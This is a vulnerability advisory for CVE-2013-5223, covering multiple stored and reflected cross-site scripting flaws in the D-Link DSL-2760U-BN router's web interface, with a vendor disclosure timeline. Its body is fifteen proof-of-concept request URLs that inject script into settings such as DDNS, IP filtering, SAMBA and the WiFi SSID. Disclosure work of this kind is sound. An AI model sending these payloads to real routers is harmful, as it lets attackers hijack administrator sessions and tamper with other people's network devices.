D-Link Router 2760N Cross Site Scripting

`Advisory: D-Link Router 2760N (DSL-2760U-BN) Multiple XSS  
Author: Liad Mizrachi  
Vendor URL: http://www.dlink.com  
Status: Fixed  
CVE-ID: CVE-2013-5223  
  
==========================  
Vulnerability Description  
==========================  
  
Multiple Cross-Site Scripting (XSS) vulnerabilities present in D-Link Router 2760N, both stored and reflected in various sections of the router Web-UI.  
  
  
==========================  
PoC  
==========================  
  
  
1) NTS Settings  
http://<D_LINK_HOST>/sntpcfg.cgi?ntp_enabled=1&ntpServer1=locahost%22;alert%28%27XSS%27%29;//&ntpServer2=time-nw.nist.gov&ntpServer3=&ntpServer4=&ntpServer5=&timezone_offset=+02:00&timezone=Jerusalem&use_dst=0  
  
  
  
2) Dynamic DNS (Reflected/Stored)  
http://<D_LINK_HOST>/ddnsmngr.cmd?action=add&service=1&hostname=aaaa&username=%3cscript%3ealert(%27xss%27)%3c%2fscript%3e&password=zzzzzz&iface=ppp0  
  
  
  
3)Parental Control  
  
http://<D_LINK_HOST>/todmngr.tod?action=add&username=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E&mac=f1:de:f1:ab:cb:6d&days=1&start_time=571&end_time=732  
  
  
  
4) URL Filtering  
http://<D_LINK_HOST>/urlfilter.cmd?action=set_url&TodUrlAdd=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&port_num=80  
  
  
  
5) NAT - Port Triggering  
http://<D_LINK_HOST>/scprttrg.cmd?action=add&appName=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&dstWanIf=ppp0&tStart=1111,&tEnd=1112,&tProto=1,&oStart=11,&oEnd=11,&oProto=1,  
  
  
  
6) IP Filtering:  
http://<D_LINK_HOST>/scoutflt.cmd?action=add&fltName=<script>alert('XSS')</script>&protocol=1&srcAddr=10.0.0.10&srcMask=255.255.255.0&srcPort=80&dstAddr=10.0.0.12&dstMask=255.255.255.0&dstPort=8080  
  
  
  
7) IP Filtering - Removal Error:  
http://<D_LINK_HOST>/scoutflt.cmd?action=remove&rmLst=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E  
  
  
  
8) Interface Grouping (also reflected on "Local Area Network (LAN) Setup"):  
http://<D_LINK_HOST>/portmapcfg.cmd?action=add&groupName=<Script>alert('XSS')</script>&choiceBox=|usb0|wl0|&wanIfName=atm1  
  
  
  
9) SNMP  
http://<D_LINK_HOST>/snmpconfig.cgi?snmpStatus=1&snmpRoCommunity=%27;alert(%27XSS%27)&snmpRwCommunity=private&snmpSysName=D-LINK&snmpSysContact=unknown&snmpSysLocation=unknown&snmpTrapIp=0.0.0.0  
  
  
  
10) Incoming IP Filter:  
http://<D_LINK_HOST>/scinflt.cmd?action=add&wanIf=ppp0&fltName=<script>alert('XSS&protocol=2&srcAddr=SS')</script>&srcMask=255.255.255.0&srcPort=80&dstAddr=10.0.0.10&dstMask=255.255.255.0&dstPort=8080  
  
  
  
11) Policy Routing Add:  
http://<D_LINK_HOST>/prmngr.cmd?action=add&PolicyName=<script>alert('X&SourceIp=SS');</script>&lanIfcName=wl0&wanIf=ppp0&defaultgw=10.0.0.111  
  
  
  
12)Policy Routing -Removal Error:  
http://<D_LINK_HOST>/prmngr.cmd?action=remove&rmLst=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E  
  
  
  
13) Printer Server  
http://<D_LINK_HOST>/ippcfg.cmd?action=savapply&ippEnabled=1&ippMake=aa&ippName=aa";alert('XSS-Printer-Sever');//  
  
  
  
14) SAMBA Configuration  
http://<D_LINK_HOST>/samba.cgi?enableSmb=1&smbNetBiosName=';var x="XSS";//&smbDirName=b';alert(x);//&smbUtf8DirName=bbb&smbCharset=utf8&smbUnplug=nolug=no  
OR  
http://<D_LINK_HOST>/samba.cgi?enableSmb=1&smbNetBiosName=';alert("SAMBA-X&smbDirName=SS");//&smbUtf8DirName=bbb&smbCharset=utf8&smbUnplug=nolug=no  
  
  
  
15) WiFi SSID  
Step 1 (Create XSS as Wireless SSID):   
http://<D_LINK_HOST>/wlcfg.wl?wlSsidIdx=0&wlEnbl=1&wlHide=0&wlAPIsolation=0&wlSsid=%3CScript%3Ealert(%27XSSID%27)%3C/script%3E&wlCountry=IL&wlMaxAssoc=16&wlDisableWme=0&wlEnableWmf=0&wlEnbl_wl0v1=0&wlSsid_wl0v1=wl0_Guest1&wlHide_wl0v1=0&wlAPIsolation_wl0v1=0&wlDisableWme_wl0v1=0&wlEnableWmf_wl0v1=0&wlMaxAssoc_wl0v1=16&wlEnbl_wl0v2=0&wlSsid_wl0v2=wl0_Guest2&wlHide_wl0v2=0&wlAPIsolation_wl0v2=0&wlDisableWme_wl0v2=0&wlEnableWmf_wl0v2=0&wlMaxAssoc_wl0v2=16&wlEnbl_wl0v3=0&wlSsid_wl0v3=wl0_Guest3&wlHide_wl0v3=0&wlAPIsolation_wl0v3=0&wlDisableWme_wl0v3=0&wlEnableWmf_wl0v3=0&wlMaxAssoc_wl0v3=16  
  
Step 2:   
Goto the Wireless -> Security [http://<D_LINK_HOST>/wlsecurity.html]  
OR  
Goto the Wireless -> MAC Filter [http://<D_LINK_HOST>/wlmacflt.cmd?action=view]  
  
  
  
  
==========================  
Disclosure Timeline  
==========================  
  
  
17-Aug-2013 - Vendor Informed - No response.  
23-Aug-2013 - Vendor Re-Informed - No response.  
01-Sep-2013 - Vendor Re-Informed - No response.  
10-Sep-2013 - Vendor Re-Informed - No response.  
10-Oct-2013 - Vendor Re-Informed - No response.  
  
==========================  
References  
==========================  
  
  
http://www.dlink.com  
http://www.dlink.com.tr/en/arts/117.html  
http://www.netcheif.com/downloads/DSL-2760U_user_manual.pdf  
  
  
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